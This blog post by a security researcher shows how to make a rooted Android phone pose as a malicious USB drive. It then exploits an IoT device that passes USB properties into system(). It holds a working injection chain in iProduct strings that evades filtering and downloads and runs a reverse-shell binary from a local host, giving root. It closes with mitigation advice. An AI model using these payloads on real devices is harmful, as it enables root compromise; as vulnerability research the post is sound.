When this Project Zero report came out I started thinking more about USB as an interesting attack surface for IoT devices. Many of these devices allow users to plug in a USB and then perform some actions with that USB automatically, and that automatic functionality may be too trusting of the USB device. That post got filed away in my mind and mostly forgotten for a while until an IoT device with a USB port showed up at my door sporting a USB port. Sadly, I hadn’t yet gotten the mentioned Raspberry Pi Zero and shipping would probably take longer than my attention span would allow, but a coworker mentioned that Android has ConfigFS support so I decided to investigate that route instead, but let’s back up a bit and set the scene.

I had discovered that the IoT device in question would automatically mount any USB mass storage device that was connected to it, and, if certain properties on the device were set, would use those properties — unsanitized — to create the mount directory name. Furthermore, this mounting would happen via a call to C’s infamous system function: a malicious USB device could potentially set these parameters in such a way as to get arbitrary command execution. Since the responsible daemon was running as root, this meant that I might be able to plug a USB in, wait a couple seconds, and then have command execution as root on the device. This naturally triggered my memories of all of those spy movies where the protagonist plugs something into a door’s highly sophisticated lock, which makes a bunch of numbers flash on the LED screen, magically opens the door, and makes them succinctly claim: “I’m in” in a cool tone. I wanted to do that.

I was fairly certain my attack would work, but I wasn’t very familiar with turning my Android device into a custom USB peripheral and searches were mostly lacking a solution. This post is intended to supplement those lacking internet searches. If you want to follow along at home, I’m using a rooted Nexus 5X device running the last Android version it supports: 8.1. I’m not sure how different things are in Android 9 land.

Android as a Mass Storage Device

For my purposes, I need my Android device to show up as a USB mass storage device with the following properties controlled by me: the product name string, the product model string, and the disk label. You can customize much more than that, but I don’t care about the rest. We’ll start with what didn’t seem to work for me: I had a passing familiarity with ConfigFS and saw a /config/usb_gadget, so I figured I’d just use that to make a quick mass storage USB device using the ConfigFS method that I knew about. I wrote up a quick script to create all of the entries, but upon testing it I ran in to this:

mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented

I’m still not sure why that route didn’t work, but apparently this method just isn’t supported. I was stumped for a bit and started digging into the Android and Linux kernel source code before taking a step back. I didn’t want to fall into the rabbit hole that was reading obscure kernel code: I just wanted to /bin/touch /tmp/haxxed on this device and declare myself 1337. So I left kernel land for Android init land to see what the Android devs do to change USB functionality.

Taking a look at some Android init files here, you’ll notice that there are two different .rc files for USB: init.usb.configfs.rc and init.usb.rc. Keen observers (see: people who actually clicked those links) will see that each one has a check for the property sys.usb.configfs: if it is 1 the entries in the init.usb.configfs.rc file are used, otherwise the init.usb.rc entries are used. For me, sys.usb.configfs was 0 and I confirmed that things were being modified over in the /sys/class/android_usb directory, so I shifted my focus there. I haven’t gone back to investigate what would happen with sys.usb.configfs set to 1, so I’m not going to claim this is the only way to do this, but it is the way that worked for me.

Exploring Unknown Lands

Now that I’ve shifted my focus to the /sys/class/android_usb/android0 directory, let’s explore that. I see the following:

bullhead:/sys/class/android_usb/android0 # ls
bDeviceClass           f_acm          f_ffs          f_rmnet     iManufacturer           power
bDeviceProtocol        f_audio        f_gps          f_rmnet_smd iProduct                remote_wakeup
bDeviceSubClass        f_audio_source f_mass_storage f_rndis     iSerial                 state
bcdDevice              f_ccid         f_midi         f_rndis_qc  idProduct               subsystem
down_pm_qos_sample_sec f_charging     f_mtp          f_serial    idVendor                uevent
down_pm_qos_threshold  f_diag         f_ncm          f_uasp      idle_pc_rpm_no_int_secs up_pm_qos_sample_sec
enable                 f_ecm          f_ptp          f_usb_mbim  pm_qos                  up_pm_qos_threshold
f_accessory            f_ecm_qc       f_qdss         functions   pm_qos_state

idVendor, idProduct, and iProduct, iManufacturer, and f_mass_storage look slightly familiar. If you are familiar with ConfigFS, the contents of f_mass_storage also looks similar to the contents of the mass_storage function:

bullhead:/sys/class/android_usb/android0 # ls f_mass_storage
device inquiry_string lun luns power subsystem uevent
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun
file nofua power ro uevent

It is at this point that, if I were a less honest person, I’d tell you I know what is going on here. I don’t. My goal is just to hack the thing by making a malicious USB device, not learn the inner workings of the Linux kernel and how Android sets itself up as a USB peripheral. I intend to go deeper into this later, and will perhaps write a more comprehensive blog post at that point. There are plenty of hints around the source code and on the device itself that help figure out how to use this directory.

One thing I see happening in init.usb.rc all the time is this line:

write /sys/class/android_usb/android0/enable 0
            ....
write /sys/class/android_usb/android0/functions ${sys.usb.config}
write /sys/class/android_usb/android0/enable 1

So what is function set to when I just have a developer device plugged in and am using ADB?

bullhead:/sys/class/android_usb/android0 # cat functions
ffs

I happen to know that ADB on the device is implemented using FunctionFS, and ffs looks like shorthand for FunctionFS to me, so it makes sense that that would be enabled. I’m probably going to have to change that value, so let’s go ahead and set it to mass_storage and see what happens.

bullhead:/sys/class/android_usb/android0 # echo 0 > enable

And my ADB session dies. Right, you can’t just kill USB and expect to use a USB connection. Well, at least I know it works! Luckily ADB is nice enough to also work over TCP/IP, so I can restart and:

adb tcpip 5555
adb connect 192.168.1.18:5555

For the record, I wouldn’t go doing that on your local coffee shop WiFi. OK, now that we’re connected — using the magic of photons — we can bring down USB and change to mass storage and see what happens.

bullhead:/sys/class/android_usb/android0 # echo 0 > enable
bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions
bullhead:/sys/class/android_usb/android0 # echo 1 > enable

Cool, no errors or crashes or anything. If you’re familiar with ConfigFS you’ll probably also know that I can modify f_mass_storage/lun/file to give some backing storage for the mass storage device. If you’re not familiar with ConfigFS, you know that now: nice! If you already know how to make an image to back your USB mass storage device, you’re smarter than I was about a week ago and can probably skip the next section.

Making Images

One thing to keep in mind when making the image is that I need to be able to control the disk LABEL value (as seen by blkid). We’ll make a file and just use that instead of doing anything fancy. Note that I didn’t actually care about writing things to the USB’s disk: I just wanted it to be recognized by the target device as a mass storage device so that it would be mounted. To make our backing image file then, we’ll start off with a whole lot of nothing:

dd if=/dev/zero of=backing.img count=50 bs=1M

This will create a 50MB file named backing.img that is all 0s. That is pretty useless; we’re going to need to format it with fdisk. A more adept Linux hacker would probably know how to script this, but I, being an intellectual, did it this way:

echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img

That magic is filling out the fdisk entries for you. It looks like this:

Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xd643eccd.

Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.

Command (m for help): Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p): 
Using default response p.
Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479): 
Created a new partition 1 of type 'Linux' and of size 9 MiB.

Command (m for help): Selected partition 1
Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.

Command (m for help): The partition table has been altered.
Syncing disks.

We’re making an image with a DOS partition table and a single FAT32 partition with everything else being the default. Cool. We need to do some formatting and labelling now:

# losetup --offset 1048576 -f backing.img /dev/loop0
# mkdosfs -n "HAX" /dev/loop0
# losetup -d /dev/loop0

The magic 1048576 is 2048 * 512, which is the first sector times the sector size. Here we just attach our image as the /dev/loop0 device and run a simple mkdosfs: the -n "HAX" is important in my case as that gives me control over the LABEL. That’s all you need to do. Easy.

Bringing it all Together

Armed with our image we can now make the full USB device:

$ adb tcpip 5555
$ adb connect 192.168.1.18:5555
$ adb push backing.img /dev/local/tmp/
$ adb shell

And in the adb shell:

$ su
# echo 0 > /sys/class/android_usb/android0/enable
# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file
# echo 'mass_storage' > /sys/class/android_usb/android0/functions
# echo 1 > /sys/class/android_usb/android0/enable

If all goes well:

# lsusb -v -d 18d1:

Bus 003 Device 036: ID 18d1:4ee7 Google Inc. 
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0 
  bDeviceProtocol         0 
  bMaxPacketSize0        64
  idVendor           0x18d1 Google Inc.
  idProduct          0x4ee7 
  bcdDevice            3.10
  iManufacturer           1 LGE
  iProduct                2 Nexus 5X
  iSerial                 3 0000000000000000
  bNumConfigurations      1
  Configuration Descriptor:
    bLength                 9
    bDescriptorType         2
    wTotalLength           32
    bNumInterfaces          1
    bConfigurationValue     1
    iConfiguration          0 
    bmAttributes         0x80
      (Bus Powered)
    MaxPower              500mA
    Interface Descriptor:
      bLength                 9
      bDescriptorType         4
      bInterfaceNumber        0
      bAlternateSetting       0
      bNumEndpoints           2
      bInterfaceClass         8 Mass Storage
      bInterfaceSubClass      6 SCSI
      bInterfaceProtocol     80 Bulk-Only
      iInterface              5 Mass Storage
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x81  EP 1 IN
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x01  EP 1 OUT
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               1
Device Qualifier (for other device speed):
  bLength                10
  bDescriptorType         6
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0 
  bDeviceProtocol         0 
  bMaxPacketSize0        64
  bNumConfigurations      1
Device Status:     0x0000
  (Bus Powered)

You can see the device here:

$ ls -lh /dev/disk/by-id 
lrwxrwxrwx 1 root root  9 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb
lrwxrwxrwx 1 root root 10 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1

And you should be able to mount:

$ mkdir HAX && sudo mount /dev/sdb1 HAX

I felt like Neo when that worked. Right now this is just a glorified thumb drive though. The real fun comes with the fact that we can change parameters:

# echo 0 > /sys/class/android_usb/android0/enable
# echo 1337 > /sys/class/android_usb/android0/idProduct
# echo 'ivision' > /sys/class/android_usb/android0/iManufacturer
# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
$ lsusb -v -d 18d1:


Bus 003 Device 044: ID 18d1:1337 Google Inc. 
Device Descriptor:
            ....
  idProduct          0x1337 
            ....
  iManufacturer           1 ivision
  iProduct                2 1337 Hacking USB
            ....

Wow does that make it easy to make a malicious USB device.

Hacking the Thing

To bring everything full circle, I’ll go through the actual exploit that inspired this. The code I was exploiting looked somewhat similar to this:

snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);
snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);
system(cmd);

My proof of concept exploit was the following:

  1. Drop a shell script at the vulnerable daemon’s cwd that will spawn a reverse shell
  2. Execute that file with sh

One tricky bit is that they were removing whitespace and / from those variables, but luckily system was passing to a shell that understands $IFS and sub-shells. Once I had the Android device setup, exploiting this issue was straightforward, commands would be built as follows:

echo 0 > enable
echo ';{cmd};' > iProduct
echo 1 > enable

With the entire command chain looking like this (I removed some sleep commands that were necessary):

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

All of those commands together create the following file (/a):

b=/
s=" "
u=http:$b${b}192.168.1.152:8000${b}shell
curl$s-s$s-o${s}shell$s$u
chmod$s+x${s}shell
${b}shell

The last command executes the file with sh a. This script pulls a binary I wrote to get a reverse shell. You could send your favorite reverse shell payload, but this way is always simple and makes verification quick. Upon the last command being executed, we’re greeted with the familiar:

$ nc -l -p 3567
id
uid=0(root) gid=0(root) groups=0(root)

Nice.

Takeaways

While it is probably easier to get yourself a Raspberry Pi Zero, it is pretty handy that this can be done so easily through a rooted Android device. As for security takeaways: it is important to remember that ANY external input, even from physical devices, is not trustworthy. Also blacklists can sometimes leave holes that are easy to bypass. There were many ways to avoid this issue, but the most important part of any mitigation would be to not trust properties pulled off of an external device. If you need a unique name, generate a UUID. If you need a unique name that is constant for a given device, verify the required parameters exist and then hash them using SHA256 or your favorite hashing algorithm. The system C function should also be used sparingly: it is fairly straightforward to mount drives using just C code.